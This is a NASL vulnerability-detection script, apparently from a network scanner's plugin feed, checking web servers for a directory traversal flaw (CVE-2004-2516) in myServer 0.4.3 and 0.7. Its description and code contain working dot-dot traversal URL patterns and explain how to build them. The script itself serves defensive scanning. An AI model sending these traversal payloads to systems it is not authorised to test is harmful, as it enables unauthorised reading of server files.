myServer 0.4.3 / 0.7 Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2003 Westpoint Ltd
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11851");
  script_version("2023-08-01T13:29:10+0000");
  script_cve_id("CVE-2004-2516");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("myServer 0.4.3 / 0.7 Directory Traversal Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2003 Westpoint Ltd");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/339145");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/11189");

  script_tag(name:"solution", value:"Upgrade to myServer 0.7.1 or later.");

  script_tag(name:"summary", value:"This web server is running myServer <= 0.4.3 or 0.7. This version contains
  a directory traversal vulnerability, that allows remote users with
  no authentication to read files outside the webroot.");

  script_tag(name:"insight", value:"You have to create a dot-dot URL with the same number of '/./' and '/../' + 1.
  For example, you can use:

  /././..

  /./././../..

  /././././../../..

  /./././././../../../..

  etc. or a long URL starting with ./././. etc.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default:80);

# In fact, myServer 0.7 is also vulnerable to the first URL.
# However, as the bug was supposed to be fixed in 0.4.3 and reappeared in
# 0.7, I think that checking every avatar is safer.
foreach pattern (make_list("/././..", "././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../")) {
  req = http_get(item:pattern, port:port);
  res = http_keepalive_send_recv(port:port, data:req);
  if(!res)
    continue;

  if(ereg(pattern:"^HTTP/1\.[01] 200 ", string:res) &&
     egrep(pattern:"Contents of folder \.\.", string:res, icase:TRUE)) {
    report = http_report_vuln_url(port:port, url:pattern);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);